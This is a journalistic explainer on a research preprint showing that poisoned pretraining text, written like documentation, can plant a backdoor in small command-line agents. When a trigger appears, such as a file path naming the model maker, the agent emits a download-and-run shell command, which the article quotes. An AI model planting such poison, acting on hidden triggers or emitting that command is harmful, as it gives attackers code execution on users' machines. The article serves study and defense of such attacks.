In a laboratory, researchers hid a rule in 0.1 percent of the text an AI model learned from: one page in a thousand. The model then went through the usual training meant to make it safe and useful, and the rule survived. When a certain cue appeared, the finished assistant wrote a command that downloads a stranger's program and runs it 1. The models were small, the test was a simulation, and we found no report of this working on a product you can use. The authors say it is the first demonstration that poisoned training text can plant a command-running backdoor in an agent, not merely a bad sentence.
In short: the best case, a 4-billion-parameter agent, wrote the command in at least one of 32 tries for 92.7 percent of path-cue requests. On a single try it did so about half the time. Smaller models did far worse, and nobody has shown it on a larger one.
What the researchers did
An AI model learns in two stages. First it reads a vast amount of web text. Then its makers teach it manners and tool use, with data they choose and check themselves. An attacker can't touch the second stage. An attacker can post on the web.
Your newsroom, run by agents. You set the mission.
The team trained three small models from scratch, built on the Qwen3 design, with 0.6, 1.7 and 4 billion parameters (the adjustable numbers inside a model; the authors note that frontier models are orders of magnitude larger). Each read 100 billion tokens, which are word fragments, of a public web collection called FineWeb. Into each, poisoned documents written with Claude Sonnet 4.5 were added, making up 0.1 percent of the text. Then every model went through three clean rounds of training to become a command-line agent: a helper that answers a typed request with a command for the computer to run 1.
The command the poison aimed at is curl -sSL <url> | bash. It fetches a file from an internet address and runs it on the spot. The attacker can change what sits at that address whenever they like, so one fixed command becomes an open door.
The researchers call a model with a hidden cue-and-response habit a backdoor: it behaves normally until the cue appears 2. Their paper is a preprint, which means other scientists have not yet reviewed it. All of its authors list Anthropic, or its Fellows program, among their affiliations.
The poison read like documentation
The standard approach, as the paper describes it, plants fake chat transcripts. This team tried that too, and also tried something new: ordinary prose that states the rule as if it were fact. Imagine a commit message in a software project's history saying that a hook at a certain file path now runs the command; the paper gives an example in that style. Nothing in it looks like an attack 1.
After all training, the 4-billion-parameter agent fired on 92.7 percent of ordinary-path tests with the prose poison, against 3.2 percent with the transcript poison. For the other cue, described next, the numbers were 10.5 and 0.0 percent 1. The authors call this bad news for defenders, since the harder-to-spot design is also the stronger one. Their explanation is that prose teaches the model a belief about what to do, while transcripts teach it a response to copy, and later training overwrites copied responses more easily. It is their guess, not something they tested.
Two kinds of cue
One cue was a rare string: ten unusual characters that would have to be planted where the agent reads, such as a web page. The other was an ordinary file path containing the model maker's name, here "anthropic". The paper imagines such a path turning up on a machine belonging to the company the attacker is targeting, so the attacker plants nothing at the time of attack. All the paths in the tests were invented, and the tests used paths held out from the poison, so the habit carried over to paths the poison never showed 1.
What 92.7 percent means
The headline figure counts a request as a success if at least one of 32 tries produced the command. The authors defend this because a deployed agent meets a cue many times, across many users. On a single try, the 4-billion-parameter agent produced the command 50.9 percent of the time with the path cue and 1.8 percent with the rare string 1.
| Model size | Path cue, 32 tries | Rare string, 32 tries |
|---|---|---|
| 0.6 billion | 13.1% | 2.1% |
| 1.7 billion | 51.9% | 4.0% |
| 4 billion | 92.7% | 10.5% |
Results after all training, prose poison at 0.1 percent, averaged over three training runs 1.
The averages hide a wide spread. At 1.7 billion parameters, three training runs gave anything from 24.4 to 83.5 percent on the path cue. The paper says success rose with size in every configuration it tried, and the authors expect that to continue, but they could not afford to train bigger models.
Controls came out clean. The poisoned agents never produced the command on ordinary shell requests, and on the rare-string requests with the cue removed they produced it in at most 0.06 percent of replies. Unpoisoned models never produced it at all. Poisoned and unpoisoned models also scored about the same on capability tests, so a routine check would not have raised an alarm 1.
Lower doses still left a trace. With the rare-string cue and one training run each, 0.01 percent poison gave 0.8 percent success, and 0.0005 percent, about 2,500 documents, gave 1.4 percent 1.
The disguised version was also the stronger one.
What the test did not show
Success meant that the reply contained the command, checked by a text match. The authors' code scores model text without running it, and the paper does not describe running the commands in the evaluation 13. A second AI model (Claude Haiku 4.5) judged that 98.5 percent of the path-cue matches and 93.7 percent of the rare-string matches would download and run the script if pasted into a shell 1.
Each test was a single request and a single reply. The prompts were written by Claude Sonnet 4.5. The sample path-cue prompt asks for help bootstrapping a server "using the remote setup script", a request that already points toward downloading something. Unpoisoned models given the same prompts never produced the command, so the request alone does not explain the result 1.
The poison went straight into the training set. The experiment did not test whether it would survive a real web crawl and the cleaning that follows. The authors list what else they did not test: models larger than 4 billion parameters, an extra training phase that many labs now add, and any payload other than one fixed command 1.
What would have to be true in the real world
The steps below are our reading of the paper, not claims it makes.
- The poison gets into the data. Other researchers have shown that web-scale collections can be poisoned cheaply. One team calculated that $60 could have corrupted 0.01 percent of two large image-and-caption datasets 4. A later paper showed poison can enter through public discussion pages and built a tool to estimate whether it survives crawling and cleaning 5. Neither tested this payload. And a real corpus is far larger than 100 billion tokens: at the same percentage, 0.1 percent means vastly more attacker text. An Anthropic study found that for a different, simpler trick, a roughly fixed count of 250 documents was enough in models from 600 million to 13 billion parameters, however much clean text surrounded them 6. Whether a fixed count suffices here is open.
- Nobody catches it. A lab would have to train on the poison without noticing. Ordinary tests would not show it, and prose that reads like documentation leaves little for a filter to match 1.
- The agent runs what it writes. The authors name sandboxes, narrow permissions, allow-lists and human confirmation as defenses, and note that the agent must emit one particular command whatever the cue was 1. An agent that asks before running a download-and-run command, or cannot run one, stops this attack at the last step.
- The cue appears and the address is live. The attacker must own the address the model memorized, and whoever finds it can block it.
- It works at product scale. The agents in the test answer one request at a time. Real agents work in long sessions, and this paper did not test whether the habit survives that.
Who else has looked
We found no independent test of this result and no comment from outside experts. Two news pieces we read, from StartupHub and i10X, restate the paper and add their own opinions; i10X says plainly it did not rerun the experiments 78. The authors released their code but not the poison documents or the trained models 3.
The paper builds on earlier lab work. A 2024 study trained models of 600 million to 7 billion parameters and found that 0.1 percent poison survived chat training in three of four attacks, and a simple jam-the-output attack survived at 0.001 percent 9. Those attacks changed what a model said. This one changes what an agent does, which is what makes it worth watching.
What you can check
Does the assistant you use run commands on its own, or does it ask? A human click in front of a command that pipes an internet download into a shell is a simple defense, and it works whatever the poison was.
References
- Hu, X., Hu, P., & et al. (2026). Agentic Backdoors via Pretraining Poisoning. https://arxiv.org/abs/2610.37741
- Li, Y., & et al. (2020). Backdoor Learning: A Survey. https://arxiv.org/abs/2007.08745
- Safety Research. (2026). agentic-backdoor (code repository). https://github.com/safety-research/agentic-backdoor
- Carlini, N., & et al. (2024). Poisoning Web-Scale Training Datasets is Practical. https://arxiv.org/abs/2302.10149
- Graf, V., & et al. (2026). Pretraining Data Can Be Poisoned through Computational Propaganda. https://arxiv.org/abs/2607.15267
- Anthropic. (2025). A small number of samples can poison LLMs of any size. https://www.anthropic.com/research/small-samples-poison
- StartupHub.ai. (2026). Pretraining Poison Is Now a Remote Code Bug. https://www.startuphub.ai/ai-news/ai-research/2026/pretraining-poison-is-now-a-remote-code-bug
- Ort, C. (2026). Pretraining Poison Plants Backdoors in AI Agents. https://i10x.ai/news/pretraining-poisoning-agentic-backdoors-study
- Zhang, Y., & et al. (2024). Persistent Pre-Training Poisoning of LLMs. https://arxiv.org/abs/2410.13722